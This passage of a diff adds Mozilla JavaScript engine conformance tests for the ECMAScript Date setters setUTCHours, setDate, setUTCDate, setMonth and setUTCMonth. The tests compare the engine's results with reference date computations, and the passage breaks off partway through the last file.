+ } else {
+ DateCase.setHours( hours, min, sec, ms );
+ }
+ }
+ }
+
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+
+ d.day = WeekDay( t );
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+
+ return (d);
+}
+function SetHours( t, hour, min, sec, ms ) {
+ var TIME = LocalTime(t);
+ var HOUR = Number(hour);
+ var MIN = ( min == void 0) ? MinFromTime(TIME) : Number(min);
+ var SEC = ( sec == void 0) ? SecFromTime(TIME) : Number(sec);
+ var MS = ( ms == void 0 ) ? msFromTime(TIME) : Number(ms);
+ var RESULT6 = MakeTime( HOUR,
+ MIN,
+ SEC,
+ MS );
+ var UTC_TIME = UTC( MakeDate(Day(TIME), RESULT6) );
+ return ( TimeClip(UTC_TIME) );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.31-1.js b/js/src/tests/ecma/Date/15.9.5.31-1.js
new file mode 100644
index 000000000..d9eda4022
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.31-1.js
@@ -0,0 +1,188 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.31-1.js
+
+ ECMA Section:
+ 15.9.5.31 Date.prototype.setUTCHours(hour [, min [, sec [, ms ]]] )
+
+ Description:
+
+ If min is not specified, this behaves as if min were specified with
+ the value getUTCMinutes( ). If sec is not specified, this behaves
+ as if sec were specified with the value getUTCSeconds ( ). If ms
+ is not specified, this behaves as if ms were specified with the
+ value getUTCMilliseconds( ).
+
+ 1.Let t be this time value.
+ 2.Call ToNumber(hour).
+ 3.If min is not specified, compute MinFromTime(t);
+ otherwise, call ToNumber(min).
+ 4.If sec is not specified, compute SecFromTime(t);
+ otherwise, call ToNumber(sec).
+ 5.If ms is not specified, compute msFromTime(t);
+ otherwise, call ToNumber(ms).
+ 6.Compute MakeTime(Result(2), Result(3), Result(4), Result(5)).
+ 7.Compute MakeDate(Day(t), Result(6)).
+ 8.Set the [[Value]] property of the this value to TimeClip(Result(7)).
+
+ 1.Return the value of the [[Value]] property of the this value.
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "15.9.5.31-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog(SECTION +
+ " Date.prototype.setUTCHours(hour [, min [, sec [, ms ]]] )");
+
+addNewTestCase( 0, 0, void 0, void 0, void 0,
+ "TDATE = new Date(0);(TDATE).setUTCHours(0);TDATE",
+ UTCDateFromTime(SetUTCHours(0,0,0,0)),
+ LocalDateFromTime(SetUTCHours(0,0,0,0)) );
+
+addNewTestCase( 28800000, 23, 59, 999, void 0,
+ "TDATE = new Date(28800000);(TDATE).setUTCHours(23,59,999);TDATE",
+ UTCDateFromTime(SetUTCHours(28800000,23,59,999)),
+ LocalDateFromTime(SetUTCHours(28800000,23,59,999)) );
+
+addNewTestCase( 28800000,999,999, void 0, void 0,
+ "TDATE = new Date(28800000);(TDATE).setUTCHours(999,999);TDATE",
+ UTCDateFromTime(SetUTCHours(28800000,999,999)),
+ LocalDateFromTime(SetUTCHours(28800000,999,999)) );
+
+addNewTestCase( 28800000, 999, void 0, void 0, void 0,
+ "TDATE = new Date(28800000);(TDATE).setUTCHours(999);TDATE",
+ UTCDateFromTime(SetUTCHours(28800000,999,0)),
+ LocalDateFromTime(SetUTCHours(28800000,999,0)) );
+
+addNewTestCase( 28800000, -8670, void 0, void 0, void 0,
+ "TDATE = new Date(28800000);(TDATE).setUTCHours(-8670);TDATE",
+ UTCDateFromTime(SetUTCHours(28800000,-8670)),
+ LocalDateFromTime(SetUTCHours(28800000,-8670)) );
+
+// modify hours to remove dst ambiguity
+addNewTestCase( 946684800000, 1235567, void 0, void 0, void 0,
+ "TDATE = new Date(946684800000);(TDATE).setUTCHours(1235567);TDATE",
+ UTCDateFromTime(SetUTCHours(946684800000,1235567)),
+ LocalDateFromTime(SetUTCHours(946684800000,1235567)) );
+
+addNewTestCase( -2208988800000, 59, 999, void 0, void 0,
+ "TDATE = new Date(-2208988800000);(TDATE).setUTCHours(59,999);TDATE",
+ UTCDateFromTime(SetUTCHours(-2208988800000,59,999)),
+ LocalDateFromTime(SetUTCHours(-2208988800000,59,999)) );
+
+test();
+
+function addNewTestCase( time, hours, min, sec, ms, DateString, UTCDate, LocalDate) {
+
+ DateCase = new Date(time);
+ if ( min == void 0 ) {
+ DateCase.setUTCHours( hours );
+ } else {
+ if ( sec == void 0 ) {
+ DateCase.setUTCHours( hours, min );
+ } else {
+ if ( ms == void 0 ) {
+ DateCase.setUTCHours( hours, min, sec );
+ } else {
+ DateCase.setUTCHours( hours, min, sec, ms );
+ }
+ }
+ }
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value,
+ DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value,
+ DateCase.valueOf() );
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year,
+ DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month,
+ DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date,
+ DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day,
+ DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours,
+ DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,
+ DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,
+ DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms,
+ DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year,
+ DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month,
+ DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date,
+ DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", LocalDate.day,
+ DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours,
+ DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes,
+ DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds,
+ DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms,
+ DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;" +
+ DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+
+ return (d);
+}
+function SetUTCHours( t, hour, min, sec, ms ) {
+ var TIME = t;
+ var HOUR = Number(hour);
+ var MIN = ( min == void 0) ? MinFromTime(TIME) : Number(min);
+ var SEC = ( sec == void 0) ? SecFromTime(TIME) : Number(sec);
+ var MS = ( ms == void 0 ) ? msFromTime(TIME) : Number(ms);
+ var RESULT6 = MakeTime( HOUR,
+ MIN,
+ SEC,
+ MS );
+ return ( TimeClip(MakeDate(Day(TIME), RESULT6)) );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.32-1.js b/js/src/tests/ecma/Date/15.9.5.32-1.js
new file mode 100644
index 000000000..3e68178a0
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.32-1.js
@@ -0,0 +1,107 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.32-1.js
+ ECMA Section: 15.9.5.32 Date.prototype.setDate(date)
+ Description:
+ 1. Let t be the result of LocalTime(this time value).
+ 2. Call ToNumber(date).
+ 3. Compute MakeDay(YearFromTime(t), MonthFromTime(t), Result(2)).
+ 4. Compute UTC(MakeDate(Result(3), TimeWithinDay(t))).
+ 5. Set the [[Value]] property of the this value to TimeClip(Result(4)).
+ 6. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "15.9.5.32-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Date.prototype.setDate(date) ");
+
+addNewTestCase( 0, 1,
+ "TDATE = new Date(0);(TDATE).setDate(1);TDATE" );
+
+test();
+
+function addNewTestCase( t, d, DateString ) {
+ var DateCase = new Date( t );
+ DateCase.setDate( d );
+
+ var UTCDate = UTCDateFromTime(SetDate(t, d));
+ var LocalDate=LocalDateFromTime(SetDate(t,d));
+
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+
+ return (d);
+}
+
+function SetDate( t, date ) {
+ var T = LocalTime( t );
+ var DATE = Number( date );
+ var RESULT3 = MakeDay(YearFromTime(T), MonthFromTime(T), DATE );
+ var UTC_DATE = UTC( MakeDate(RESULT3, TimeWithinDay(T)) );
+ return ( TimeClip(UTC_DATE) );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.33-1.js b/js/src/tests/ecma/Date/15.9.5.33-1.js
new file mode 100644
index 000000000..cf46d3a61
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.33-1.js
@@ -0,0 +1,111 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.33-1.js
+ ECMA Section: 15.9.5.33 Date.prototype.setUTCDate(date)
+ Description:
+ 1. Let t be this time value.
+ 2. Call ToNumber(date).
+ 3. Compute MakeDay(YearFromTime(t), MonthFromTime(t), Result(2)).
+ 4. Compute MakeDate(Result(3), TimeWithinDay(t)).
+ 5. Set the [[Value]] property of the this value to TimeClip(Result(4)).
+ 6. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "15.9.5.33-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Date.prototype.setUTCDate(date) ");
+
+addNewTestCase( "TDATE = new Date(0);(TDATE).setUTCDate(31);TDATE",
+ UTCDateFromTime(SetUTCDate(0,31)),
+ LocalDateFromTime(SetUTCDate(0,31)) );
+
+addNewTestCase( "TDATE = new Date(0);(TDATE).setUTCDate(1);TDATE",
+ UTCDateFromTime(SetUTCDate(0,1)),
+ LocalDateFromTime(SetUTCDate(0,1)) );
+
+addNewTestCase( "TDATE = new Date(86400000);(TDATE).setUTCDate(1);TDATE",
+ UTCDateFromTime(SetUTCDate(86400000,1)),
+ LocalDateFromTime(SetUTCDate(86400000,1)) );
+
+test();
+
+function addNewTestCase( DateString, UTCDate, LocalDate) {
+ DateCase = eval( DateString );
+
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+
+ return (d);
+}
+function SetUTCDate( t, date ) {
+ var T = t;
+ var DATE = Number( date );
+ var RESULT3 = MakeDay(YearFromTime(T), MonthFromTime(T), DATE );
+ return ( TimeClip(MakeDate(RESULT3, TimeWithinDay(t))) );
+}
+
diff --git a/js/src/tests/ecma/Date/15.9.5.34-1.js b/js/src/tests/ecma/Date/15.9.5.34-1.js
new file mode 100644
index 000000000..8e18482cf
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.34-1.js
@@ -0,0 +1,149 @@
+// |reftest| random
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.34-1.js
+ ECMA Section: 15.9.5.34 Date.prototype.setMonth(mon [, date ] )
+ Description:
+ If date is not specified, this behaves as if date were specified with the
+ value getDate( ).
+
+ 1. Let t be the result of LocalTime(this time value).
+ 2. Call ToNumber(date).
+ 3. If date is not specified, compute DateFromTime(t); otherwise, call ToNumber(date).
+ 4. Compute MakeDay(YearFromTime(t), Result(2), Result(3)).
+ 5. Compute UTC(MakeDate(Result(4), TimeWithinDay(t))).
+ 6. Set the [[Value]] property of the this value to TimeClip(Result(5)).
+ 7. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "15.9.5.34-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Date.prototype.setMonth(mon [, date ] )");
+
+getFunctionCases();
+
+// regression test for http://scopus.mcom.com/bugsplat/show_bug.cgi?id=112404
+d = new Date(0);
+d.setMonth(1,1,1,1,1,1);
+
+addNewTestCase(
+ "TDATE = new Date(0); TDATE.setMonth(1,1,1,1,1,1); TDATE",
+ UTCDateFromTime(SetMonth(0,1,1)),
+ LocalDateFromTime(SetMonth(0,1,1)) );
+
+
+// whatever today is
+
+addNewTestCase( "TDATE = new Date(TIME_NOW); (TDATE).setMonth(11,31); TDATE",
+ UTCDateFromTime(SetMonth(TIME_NOW,11,31)),
+ LocalDateFromTime(SetMonth(TIME_NOW,11,31)) );
+
+// 1970
+
+addNewTestCase( "TDATE = new Date(0);(TDATE).setMonth(0,1);TDATE",
+ UTCDateFromTime(SetMonth(0,0,1)),
+ LocalDateFromTime(SetMonth(0,0,1)) );
+
+addNewTestCase( "TDATE = new Date("+TIME_1900+"); "+
+ "(TDATE).setMonth(11,31); TDATE",
+ UTCDateFromTime( SetMonth(TIME_1900,11,31) ),
+ LocalDateFromTime( SetMonth(TIME_1900,11,31) ) );
+
+test();
+
+function addNewTestCase( DateString, UTCDate, LocalDate) {
+ DateCase = eval( DateString );
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+
+function getFunctionCases() {
+ // some tests for all functions
+ new TestCase(
+ SECTION,
+ "Date.prototype.setMonth.length",
+ 2,
+ Date.prototype.setMonth.length );
+
+ new TestCase(
+ SECTION,
+ "typeof Date.prototype.setMonth",
+ "function",
+ typeof Date.prototype.setMonth );
+
+}
+
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+
+ return (d);
+}
+function SetMonth( t, mon, date ) {
+ var TIME = LocalTime(t);
+ var MONTH = Number( mon );
+ var DATE = ( date == void 0 ) ? DateFromTime(TIME) : Number( date );
+ var DAY = MakeDay( YearFromTime(TIME), MONTH, DATE );
+ return ( TimeClip (UTC(MakeDate( DAY, TimeWithinDay(TIME) ))) );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.35-1.js b/js/src/tests/ecma/Date/15.9.5.35-1.js
new file mode 100644
index 000000000..68a0d7a3e
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.35-1.js
@@ -0,0 +1,106 @@
+// |reftest| random-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.35-1.js
+ ECMA Section: 15.9.5.35 Date.prototype.setUTCMonth(mon [,date])
+ Description:
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "15.9.5.35-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Date.prototype.setUTCMonth(mon [,date] ) ");
+addNewTestCase( "TDATE = new Date(0);(TDATE).setUTCMonth(0);TDATE",
+ UTCDateFromTime(SetUTCMonth(0,0)),
+ LocalDateFromTime(SetUTCMonth(0,0)) );
+
+addNewTestCase( "TDATE = new Date(0);(TDATE).setUTCMonth(11);TDATE",
+ UTCDateFromTime(SetUTCMonth(0,11)),
+ LocalDateFromTime(SetUTCMonth(0,11)) );
+
+addNewTestCase( "TDATE = new Date(0);(TDATE).setUTCMonth(5,4);TDATE",
+ UTCDateFromTime(SetUTCMonth(0,5,4)),
+ LocalDateFromTime(SetUTCMonth(0,5,4)) );
+
+test();
+
+function addNewTestCase( DateString, UTCDate, LocalDate) {
+ DateCase = eval( DateString );
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes, DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds, DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
